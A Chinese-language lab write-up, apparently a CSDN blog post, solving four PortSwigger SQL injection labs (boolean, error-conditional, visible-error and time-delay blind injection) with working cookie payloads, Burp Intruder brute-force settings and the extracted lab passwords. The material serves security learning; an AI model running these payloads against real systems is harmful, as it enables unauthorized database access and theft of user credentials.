PortSwigger SQL injection(详细过程及解释,小白也可以看懂!)

目录

一.Blind SQL injection with conditional responses

二.Blind SQL injection with conditional errors

三.Visible error-based SQL injection

四.Blind SQL injection with  time delays and information retrieval


一.Blind SQL injection with conditional responses

原理:布尔盲注

参考 SQL盲注:原理,分类与识别方法(小白也可以看懂!)-CSDN博客

步骤:

1.使用burp suite进行抓包,然后发送到repeater

2.本次实验所检测的部分为cookie字段,可以知道是在Tracking ID进行sql注入,首先判断有无注入漏洞

' AND '1'='1     ← welcome back
' AND '1'='2     ← 没有welcome back,说明存在注入点

3.判断数据库中是否存在users表

' AND (SELECT 'a' FROM users LIMIT 1)='a'--

解释:从users表里查询一条记录,但是返回的是固定字符'a',所以只是将'a'与'a'进行了比较,这当然是成立的,这个代码其实就是为了确认users表存不存在,因为不存在会进行报错,没有welcome back

4.判断users表中有无administrator

' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--

解释:判断'a'='a'总是成立,这里就是为了确认FROM users WHERE username=‘administrator’报不报错,进而确定users表中有无administrator

5.知道了存在用户之后,现在开始猜测口令

1)猜测口令长度

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--

解释:如果administrator对应的口令长度大于1则成立,所以我们要找到它的临界值,确认口令长度,你可以使用二分法手动估测,也可以将它发送给intruder进行自动遍历

首先给需要遍历的部分add一下,这里的口令长度,所以在1这里add

然后payload是从1到30,这是我设定的,你可以自己进行猜测设置

然后点击attack,开始攻击,通过观察包的大小,来判断我们需要的临界值,正确返回和错误返回的包的大小是不同的

观察结果,从20开始包的大小改变,说明口令长度是20(口令大小>20:不正确,说明是20)

2)猜测口令每一位

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--

解释:从users表里找到 username 是administrator的那条记录,取出它的 password 字段,并且取密码的第一个字符,判断是不是'a',本实验中如果正确则返回welcome back,若不正确,则没有welcome back。所以我们需要做的是对每一个字符进行猜测,通过返回值来判断猜测是否正确,下面同样通过intruder模块来进行穷搜

首先,确认注入的部分,分别是"口令的位置"和"猜测的字符",注意attack type要选择cluster bomb(cluster bomb:两个需要注入的地方使用的字典不相同,且每一种对应情况都需要尝试)

然后,在payload里面,第一个payload当然是从1到20,对应着口令的每一位,第二个payload是小写字母和数字中的任意一个字符。

这里payload type选择number,from 1 to 20

这里payload type选择brute forcer,就是小写字母和数字的任意组合,因为本次实验是一位一位判断,所以将min/max length设置为1

全部设置正确之后点击attack开始攻击,消耗的时间较长,需要等待一下,然后将1-20对应的字符连接起来,就是我们所需要的口令了

二.Blind SQL injection with conditional errors

1.首先判断是否存在SQL注入漏洞

添加一个单引号:500 Internal server error

添加两个单引号:200 OK

构造简单的子查询,由于已经提示数据库是oracle,dual:200 OK

尝试查询不存在的表,验证查询执行,name:500 Internal server error

解释:上述结果说明这里存在sql注入漏洞

理由:第一次只加一个单引号,导致语法错误并返回 500 状态码,说明服务器直接把我的输入拼到了 SQL 语句里,而且没有对引号这种特殊字符做有效处理。第二次加两个单引号后,语法恢复正常,服务器也正常返回,进一步验证了输入被直接拼接进了查询。后续通过构造查询发现,服务器根据 SQL 的执行结果返回不同响应,可以推断出注入点确实可以影响底层数据库操作,因此确认存在 SQL 注入。

2.判断是否存在users表

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

解释:从users表中取一条记录,并返回一个空字符串,ROWNUM=1是为了只取一行,避免多行结果使得SQL错误,通过服务器有没有报错就可以判断users表存不存在,200 OK说明存在users表

3.判断users表中有没有administrator

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

解释:CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END,即如果1=1成立,那么执行          TO_CHAR(1/0),将1除以0,触发错误,否则返回空字符串。

所以整个代码的逻辑:如果users表中存在administrator,就会因为1=1成立而触发除零错误,返回500错误,如果不存在,子查询无结果,进而不触发除零错误。

结果:500 Internal server error 说明存在administrator用户

4.探测administrator的口令(原理与上一个实验相同,语法稍有不同)

1)探测口令长度

'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

发送到intruder,自动化搜索

结果:口令长度为20

解释:代码逻辑为若口令长度大于x,则进行除零操作,进而报错,一旦条件不成立,则不会报错,所以从20开始状态码为200 OK,表明口令长度>20不成立,说明长度就是20

2)探测口令的每一位

'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

发送到intruder进行自动化搜索,注意将attack type选择为Cluster bomb,且第一个字典为1到20(number),第二个字典为所有数字和小写字母的集合(brute forcer,注意将min/max length设为1)

点击attack开始攻击,这需要等待一段时间,通过状态码判断口令每一位的值,将他们按顺序拼接就可以得到口令了

(这个等待时间实在是太长了,因为他会把1到20的每一位都和数字与字符进行比较,但到了后面其实很多位置对应的字符都已经确定了,所以不用再比较,所以我们可以拍照记录已经得到了字符,然后停止这个攻击,将剩下的位置单独拿出来再次与剩下的字符进行配对,这样会节省一点时间,可以多次重复)

(或者开启多个攻击,第一个攻击是1-10,第二个攻击时11-20,这个我没有尝试过,有更好的方法可以在评论区交流)

得到口令,pr6lha54bhp6v4mre3ml

三.Visible error-based SQL injection

1.初步探测和错误注入:加单引号

结果:500 Internal Server Error,并且显示了完整的SQL查询,确认存在注入点

2.注释修复语法错误:200 OK

说明注入的语句成功执行

3.测试类型转换

错误回显型SQL注入:通过构造非法查询使数据库报错,错误信息会包含部分查询内容或数据,类型转换错误通常会返回转换失败的具体值

' AND CAST((SELECT 1) AS int)--

返回错误:AND是逻辑运算符,必须连接两个布尔表达式,CAST((SELECT 1) AS int) 返回的是整数,不是布尔值

4.构造合法布尔表达式

' AND 1=CAST((SELECT 1) AS int)--

不再报错说明语法正确

5.尝试获取用户名

' AND 1=CAST((SELECT username FROM users) AS int)--

返回错误:由于字符限制,查询被截断,字符串未正确闭合

6.优化payload长度:删除TrackingID值

TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

错误:返回了多行结果

7.限制返回结果:加上LIMIT 1

TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

错误:返回了administrator不是int类型,说明存在该用户

8.获取管理员密码

' AND 1=CAST((SELECT password from users LIMIT 1) AS int)--

错误:返回口令不是int类型,得到口令"u52aepslm44wlqunl3c5"

9.登录管理员账户,成功

四.Blind SQL injection with  time delays and information retrieval

1.首先判断是否存在时间延迟

'%3B SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

解释:首先单引号使前面的字符串封闭,然后%3B是分号的URL编码,后面是基于条件的时间延迟,当满足括号内的条件是进行延迟,不满足时不延迟

1=2:无延迟

1=1:有延迟

确认了有时间延迟,可以进行探测了

2.判断是否存在administrator用户

'%3B SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

有延迟,确定有该用户

3.探测管理员的口令

1)探测口令长度

'%3B SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

可以发送到intruder进行攻击,注意观察延迟

length>19时有延迟,length>20时没有延迟,所以口令的长度为20

2)探测口令的具体值

'%3B SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

发送到intruder,将口令的每一位和可能的字符串进行配对,若有延时,则为正确口令

payload与之前的实验设置的相同,注意type和min/max length设置正确

这里与其他实验稍微不一样的是,这里由于需要检测delay,所以必须要求单线程执行,所以进入到resource pool,将maximum concurrent requests设置为1。

然后点击attack开始攻击

开始攻击后,打开右上角column里的response received,这样就可以看到时间

可以看到在1对应b时,时间明显是有延迟的

得到口令:b7j61n4phs5nxiuh1v48

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值